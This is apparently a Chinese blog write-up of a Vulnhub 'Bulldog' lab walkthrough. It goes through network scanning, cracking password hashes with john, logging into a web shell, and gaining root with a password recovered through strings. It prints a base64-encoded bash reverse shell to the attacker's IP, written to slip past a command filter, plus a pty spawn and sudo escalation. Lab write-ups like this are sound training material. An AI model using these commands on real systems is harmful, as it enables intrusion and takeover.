Vulnlab_Bulldog靶机渗透实战笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
Bulldog靶机渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
实验环境:
kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)
Bulldog靶机(virtualbox) ip:192.168.228.10
kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。
靶机下载地址: https://www.vulnhub.com/entry/bulldog-1,211/
首先Virtualbox启动运行靶机。
靶机ip地址直接显示在启动页面了,正常情况谁会显示啊= =
测试能不能ping通。
详细步骤:
1、获取IP地址
扫描区域网内的网段发现靶机ip信息:
这里是直接给出来了靶机的ip地址:192.168.228.10
实际场景中一般不会直接给出ip地址,所以这里还是扫描下区域网内的主机信息。
使用Nmap进行扫描:
nmap -sP 192.168.228.0/24
发现靶机ip为:
192.168.228.10
或者使用netdiscover进行扫描网卡:
netdicover -i eth1
//这里我使用的是vitualbox的接口,所以是eth1网卡,请根据实际情况进行更改
2、获取端口信息
扫描靶机全端口:
nmap -p 1-65535 192.168.56.104
发现靶机开启了23,80,8080端口
尝试浏览器访问80端口,在页面发现了一只可爱的狗狗。
点击中间的Public Notice按钮,跳转到新页面,但是没有什么有用的信息。
浏览器插件查看使用的框架。没发现什么可用的。
扫描端口的详细信息和主机信息
nmap -sC -sT -O -A -p 23,80,8080 192.168.228.10
3、漏洞扫描
继续加参数进行扫描查看详细的信息:查看一下有没有可以用的漏洞:
nmap --script=vuln -p 23,80,8080 192.168.228.10
扫描不出来。
4、获取主机信息
-A 扫描的常规端口(1000以内);
-p 扫描全端口,-sV 扫描端口对应的服务,-O 扫描靶机的系统版本,
nmap -p 1-65535 -sV -O -A 192.168.228.10
5、dirserach扫描目录信息
使用dirsearch工具扫描进行扫描子域名,查看有咩有可用的子域名信息;
dirsearch -u http://192.168.228.10/
扫描到了后台登录界面
尝试用浏览器进行访问:
http://192.168.228.10/admin/login/
http://192.168.228.10/dev/
http://192.168.228.10/admin/login/这是后台登录界面,但是没有密码,先放着,尝试访问其他的页面
http://192.168.228.10/dev/页面显示了一些信息,点击中间的web-shell会跳转到新页面,但是显示需要身份验证。记下来
返回之前的页面,查看网页源代码,发现一些加密的信息,前面的好像是用户名和邮箱地址。后面的内容是加密的,拷出来放在文件中,用工具进行解密试试。
用john进行解密。
john passwd.txt --wordlist=/usr/share/wordlists/rockyou.txt
解密到了两个,应该是密码。结合之前网页源代码中的用户名在后台界面进行登录试试。
一个个进行尝试,发现如下用户名和密码成功登录进去。
nick
bulldog
成功登录后,访问之前的webshell页面。发现身份验证成功,跳转到了新页面。
尝试下ipconfig,有返回结果,显示是靶机ip地址。
好像是命令执行,尝试用一下nc,发现不能执行,应该有过滤
写一段base64加密的反弹shell试试看能不能绕过去
构建反弹语句
#构建反弹语句
bash -i >& /dev/tcp/192.168.228.4/8888 0>&1
#进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC40Lzg4ODggMD4mMQ==
#完整语句
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC40Lzg4ODggMD4mMQ== |base64 -d | bash
#| 管道符表示将前面的内容作为后面语句执行的条件
#base64 表示base64加密
#base64 -d 表示base64解密
使用老司机开车神器进行base64加密,这里可以用其他的进行加密,因为我是老司机所以我喜欢用这个🤣
kali启动nc进行监听:
nc -nvlp 8888
将命令放上去,点击run执行。
6、反弹shell
执行上述操作,可以在kali中看到反弹shell成功
发现是普通用户,需要进行提权才能进行下一步操作。
7、提权拿flag
cd到home目录查看的时候发现有其他用户叫bulldogadmin
的用户,猜测应该是管理员用户,cd进去后有个.hiddenadmindirectory
的隐藏目录,cd进去看看。
找到了两个文件,分别查看
查看note文件,发现是一封信
nick,
我正在研究后端权限的问题。
听着,这是超级原型,但我认为它会取得很好的效果。
从字面上运行该应用程序,输入您的帐户密码,它将确定您是否应该有权访问该文件!
这是很棒的东西!
一旦我完成了它,黑客甚至无法逆转它!
请记住,它现在仍然是原型。
我即将让它与 Django 用户帐户一起使用。
我不确定如何为其他人实施它。
也许网络服务器是唯一有时需要 root 访问权限的服务器?
告诉我你对它的想法!
解读后没什么有用的信息,查看另外一个文件,cat customPermissionApp
太棒了,全是乱码。应该是个二进制文件,这里读取不到真正的内容而已。可以使用strings查看字符串内容。strings customPermissionApp
成功读取到了,在其中找到了这一串看似是密码的东西,貌似里面有super password的字样,这算是提示吗。。。待会尝试下root密码看看能不能登录,这里应该是为了混淆视听加了很多字符H,将三串内容拼接可得出
SUPERultimatePASSWORDyouCANTget
尝试sudo root进行登录
sudo su
#输入密码SUPERultimatePASSWORDyouCANTget
执行失败,不知道为啥,查了一下,调用python来打开一个新的终端就可以了
python -c 'import pty;pty.spawn("/bin/bash")'
如图所示,再次输入密码,进行登录尝试,发现成功登录。
切换到root目录,查看flag文件。
恭喜你完成了这个虚拟机:D 这还不算太糟,不是吗?
在 twitter 上告诉我你的想法,我是 @frichette_n
据我所知,有两种获得 root 的方法。你能找到另一种吗?
也许续集会更具挑战性。下次再见,希望你喜欢!
完结!散花!!!!
- 感谢你赐予我前进的力量